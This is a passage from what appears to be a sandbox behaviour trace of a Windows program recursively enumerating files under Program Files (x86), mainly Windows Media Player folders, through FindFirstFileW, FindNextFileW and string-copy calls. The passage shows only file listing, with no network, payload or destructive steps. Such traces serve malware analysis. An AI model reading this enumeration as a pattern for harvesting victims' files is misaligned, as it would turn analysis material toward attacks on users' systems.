Player\\Media Renderer\\") returned 59 [0041.594] lstrlenW (lpString="DMR_120.jpg") returned 11 [0041.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0041.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 70 [0041.594] lstrcpyW (in: lpString1=0x9283e8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0041.594] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.594] lstrcmpW (lpString1="DMR_120.png", lpString2=".") returned 1 [0041.594] lstrcmpW (lpString1="DMR_120.png", lpString2="..") returned 1 [0041.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0041.594] lstrlenW (lpString="DMR_120.png") returned 11 [0041.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0041.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 70 [0041.594] lstrcpyW (in: lpString1=0x928480, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0041.594] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.594] lstrcmpW (lpString1="DMR_48.jpg", lpString2=".") returned 1 [0041.594] lstrcmpW (lpString1="DMR_48.jpg", lpString2="..") returned 1 [0041.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0041.594] lstrlenW (lpString="DMR_48.jpg") returned 10 [0041.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0041.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 69 [0041.594] lstrcpyW (in: lpString1=0x928518, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0041.594] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.594] lstrcmpW (lpString1="DMR_48.png", lpString2=".") returned 1 [0041.594] lstrcmpW (lpString1="DMR_48.png", lpString2="..") returned 1 [0041.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0041.594] lstrlenW (lpString="DMR_48.png") returned 10 [0041.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0041.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 69 [0041.594] lstrcpyW (in: lpString1=0x9285b0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0041.594] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.594] lstrcmpW (lpString1="RenderingControl.xml", lpString2=".") returned 1 [0041.594] lstrcmpW (lpString1="RenderingControl.xml", lpString2="..") returned 1 [0041.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0041.594] lstrlenW (lpString="RenderingControl.xml") returned 20 [0041.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0041.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned 79 [0041.594] lstrcpyW (in: lpString1=0x928648, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0041.594] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.594] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.595] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.595] lstrcmpW (lpString1="mpvis.DLL", lpString2=".") returned 1 [0041.595] lstrcmpW (lpString1="mpvis.DLL", lpString2="..") returned 1 [0041.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.595] lstrlenW (lpString="mpvis.DLL") returned 9 [0041.595] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0041.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned 53 [0041.595] lstrcpyW (in: lpString1=0x920c90, lpString2="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0041.595] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.595] lstrcmpW (lpString1="Network Sharing", lpString2=".") returned 1 [0041.595] lstrcmpW (lpString1="Network Sharing", lpString2="..") returned 1 [0041.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.595] lstrlenW (lpString="Network Sharing") returned 15 [0041.595] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Network Sharing" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing" [0041.595] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\" [0041.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned 60 [0041.595] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*" [0041.595] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.595] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.595] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.595] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.595] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.595] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.595] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.595] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.595] lstrcmpW (lpString1="routing.exe", lpString2=".") returned 1 [0041.595] lstrcmpW (lpString1="routing.exe", lpString2="..") returned 1 [0041.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.595] lstrlenW (lpString="routing.exe") returned 11 [0041.595] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0041.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned 55 [0041.595] lstrcpyW (in: lpString1=0x920d08, lpString2="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0041.595] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.595] lstrcmpW (lpString1="setup_wm.exe", lpString2=".") returned 1 [0041.595] lstrcmpW (lpString1="setup_wm.exe", lpString2="..") returned 1 [0041.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.595] lstrlenW (lpString="setup_wm.exe") returned 12 [0041.595] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0041.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned 56 [0041.596] lstrcpyW (in: lpString1=0x925d40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0041.596] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.596] lstrcmpW (lpString1="Skins", lpString2=".") returned 1 [0041.596] lstrcmpW (lpString1="Skins", lpString2="..") returned 1 [0041.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.596] lstrlenW (lpString="Skins") returned 5 [0041.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Skins" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins" [0041.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\" [0041.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0041.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*" [0041.596] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.596] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.596] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.596] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.596] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.596] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.596] lstrcmpW (lpString1="Revert.wmz", lpString2=".") returned 1 [0041.596] lstrcmpW (lpString1="Revert.wmz", lpString2="..") returned 1 [0041.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0041.596] lstrlenW (lpString="Revert.wmz") returned 10 [0041.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0041.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned 60 [0041.596] lstrcpyW (in: lpString1=0x922688, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0041.596] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.596] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.596] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.596] lstrcmpW (lpString1="Visualizations", lpString2=".") returned 1 [0041.596] lstrcmpW (lpString1="Visualizations", lpString2="..") returned 1 [0041.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.596] lstrlenW (lpString="Visualizations") returned 14 [0041.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Visualizations" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations" [0041.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\" [0041.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned 59 [0041.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*" [0041.596] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.596] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.596] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.596] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.596] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.596] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.596] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.597] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.597] lstrcmpW (lpString1="wmlaunch.exe", lpString2=".") returned 1 [0041.597] lstrcmpW (lpString1="wmlaunch.exe", lpString2="..") returned 1 [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.597] lstrlenW (lpString="wmlaunch.exe") returned 12 [0041.597] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned 56 [0041.597] lstrcpyW (in: lpString1=0x925dc0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0041.597] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.597] lstrcmpW (lpString1="wmpconfig.exe", lpString2=".") returned 1 [0041.597] lstrcmpW (lpString1="wmpconfig.exe", lpString2="..") returned 1 [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.597] lstrlenW (lpString="wmpconfig.exe") returned 13 [0041.597] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned 57 [0041.597] lstrcpyW (in: lpString1=0x925e40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0041.597] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.597] lstrcmpW (lpString1="WMPDMC.exe", lpString2=".") returned 1 [0041.597] lstrcmpW (lpString1="WMPDMC.exe", lpString2="..") returned 1 [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.597] lstrlenW (lpString="WMPDMC.exe") returned 10 [0041.597] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned 54 [0041.597] lstrcpyW (in: lpString1=0x920d80, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0041.597] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.597] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2=".") returned 1 [0041.597] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2="..") returned 1 [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.597] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0041.597] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned 58 [0041.597] lstrcpyW (in: lpString1=0x925ec0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0041.597] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.597] lstrcmpW (lpString1="wmpenc.exe", lpString2=".") returned 1 [0041.597] lstrcmpW (lpString1="wmpenc.exe", lpString2="..") returned 1 [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.597] lstrlenW (lpString="wmpenc.exe") returned 10 [0041.597] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned 54 [0041.597] lstrcpyW (in: lpString1=0x920df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0041.597] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.597] lstrcmpW (lpString1="wmplayer.exe", lpString2=".") returned 1 [0041.597] lstrcmpW (lpString1="wmplayer.exe", lpString2="..") returned 1 [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.597] lstrlenW (lpString="wmplayer.exe") returned 12 [0041.597] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0041.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned 56 [0041.597] lstrcpyW (in: lpString1=0x925f40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0041.597] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.597] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2=".") returned 1 [0041.598] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2="..") returned 1 [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.598] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0041.598] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned 63 [0041.598] lstrcpyW (in: lpString1=0x922710, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0041.598] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.598] lstrcmpW (lpString1="wmpnssci.dll", lpString2=".") returned 1 [0041.598] lstrcmpW (lpString1="wmpnssci.dll", lpString2="..") returned 1 [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.598] lstrlenW (lpString="wmpnssci.dll") returned 12 [0041.598] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned 56 [0041.598] lstrcpyW (in: lpString1=0x925fc0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0041.598] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.598] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2=".") returned 1 [0041.598] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2="..") returned 1 [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.598] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0041.598] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned 56 [0041.598] lstrcpyW (in: lpString1=0x926040, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0041.598] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.598] lstrcmpW (lpString1="wmprph.exe", lpString2=".") returned 1 [0041.598] lstrcmpW (lpString1="wmprph.exe", lpString2="..") returned 1 [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.598] lstrlenW (lpString="wmprph.exe") returned 10 [0041.598] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned 54 [0041.598] lstrcpyW (in: lpString1=0x920e70, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0041.598] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.598] lstrcmpW (lpString1="wmpshare.exe", lpString2=".") returned 1 [0041.598] lstrcmpW (lpString1="wmpshare.exe", lpString2="..") returned 1 [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0041.598] lstrlenW (lpString="wmpshare.exe") returned 12 [0041.598] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned 56 [0041.598] lstrcpyW (in: lpString1=0x9260c0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0041.598] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.598] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.598] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.598] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1 [0041.598] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1 [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.598] lstrlenW (lpString="Windows NT") returned 10 [0041.598] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows NT" | out: lpString1="c:\\Program Files (x86)\\Windows NT") returned="c:\\Program Files (x86)\\Windows NT" [0041.598] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT", 